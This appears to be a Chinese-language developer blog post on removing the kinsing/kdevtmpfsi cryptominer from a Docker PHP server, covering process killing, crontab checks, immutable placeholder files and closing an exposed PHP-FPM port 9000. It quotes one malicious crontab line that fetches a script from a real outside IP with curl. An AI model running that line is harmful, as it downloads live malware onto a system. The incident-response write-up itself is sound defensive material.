關於linux病毒`kinsing` `kdevtmpfsi`的處理

pyTzy 發表於 2020-12-08

簡要描述

有兩週時間,一直出現cpu100% 的情況,伺服器使用的 docker—compose 搭建 php+nginx+mysql ,出現這個病毒在不知道原因的情況下就出現了,然後運維人員找到本人,說伺服器報警,連續幾周時間觀察找原因,最終得到解決

關於linux病毒`kinsing` `kdevtmpfsi`的處理

關於linux病毒`kinsing` `kdevtmpfsi`的處理

解決過程簡述

一. 殺死程式 kill -9 pid

問題出現首先想到的就是殺死程式,然後去尋找出現這個的原因,因為是在容器裡面,所以首先需要進入容器

docker exec -it container_id /bin/bash
ps -aux | grep kdevtmpfsi
ps -aux | grep kinsing

rm -rf ...

二. 查詢定時任務

發現定時任務裡面存在下面的可疑指令碼

curl -s 195.3.146.118/unk.sh

/var/spool/cron/crontabs
rm -rf ..

三. 重新新建檔案,設定許可權並觀察 cpu

touch /tmp/kdevtmpfsi /tmp/kinsing
chattr +i /tmp/kdevtmpfsi /tmp/kinsing
docker top container_id

有幾天時間沒有出現這些病毒,cpu 也沒出現 100% 的情況,大概過了幾天後就又出現了,現在出現的 kdevtmpfsi425336820 類似這樣的檔案,cpu 再次跑滿

  • 以上就是花了好多天,然後網上搜尋了一大堆,按照網上的做法去操作的,但是沒能根本上解決問題,還有一些是寫一個定時指令碼定時去 kill 掉這些有問題的程式,這裡就不貼上來了

四. 下載指令碼

然後我把指令碼下載下來了,發現裡面有一個可疑ip,趕緊通知運維加入黑名單,這下子好了,好多天 cpu 沒有再次升起來,但是阿里雲總會收到惡意的報警通告

關於linux病毒`kinsing` `kdevtmpfsi`的處理

這裡惡意程式的指令碼檔案就不貼了,程式碼有些多

下面這一點似乎是網上呼聲最高的,我要說明一下,我的環境沒有使用到 redis
關於linux病毒`kinsing` `kdevtmpfsi`的處理

最終解決

經過上面好多天的查資料,查到的基本上都是一樣的解釋,跟解決辦法,對於目前我來說根本無用,心灰意冷

好在一次無意間用docker logs檢視日誌發現了貓膩

關於linux病毒`kinsing` `kdevtmpfsi`的處理

網上搜尋了一下,這個是一個 PHP-FPM fastcgi 漏洞,資料來源如下

www.leavesongs.com/PENETRATION/fas...
mohen.blog.csdn.net/artice/details...

大概意思就是:開放了9000埠,按照一定的程式碼格式,來請求php程式碼,進入fastcgi裡面,就可以執行自己任意的php程式碼

由於某種原因開啟了 9000 埠,就給了這個病毒攻擊系統的機會,讓運維關閉 9000 埠,問題最終得到解決

使用到的linux指令
lsattr chattr rm -rf touch kill ps -aux top
使用到的docker指令
docker logs docker top docker exex -it cid /bin/bash docker cp docker-compose docker ps

總結

之前也發現一些挖礦的惡意程式,這次這個也是的,大概處理方法如下

  1. 殺死挖礦程式程式
  2. 檢視定時任務,有無可疑程式
  3. 刪除相關檔案,重新新建檔案,然後設定許可權
  4. 觀察,檢視log
    不必要的埠不要爆露出來

以上是這次歷時差不多兩週的時間,解決的挖礦病毒問題,貼出來分享一下,因為本身不是運維,所以問了很多人,也嘗試了很多種解決辦法,最終問題得到解決,內心還是挺愉悅的,各位大佬如有這方面的經驗,歡迎交流,指教

本作品採用《CC 協議》,轉載必須註明作者和本文連結
希望你是真正的喜歡code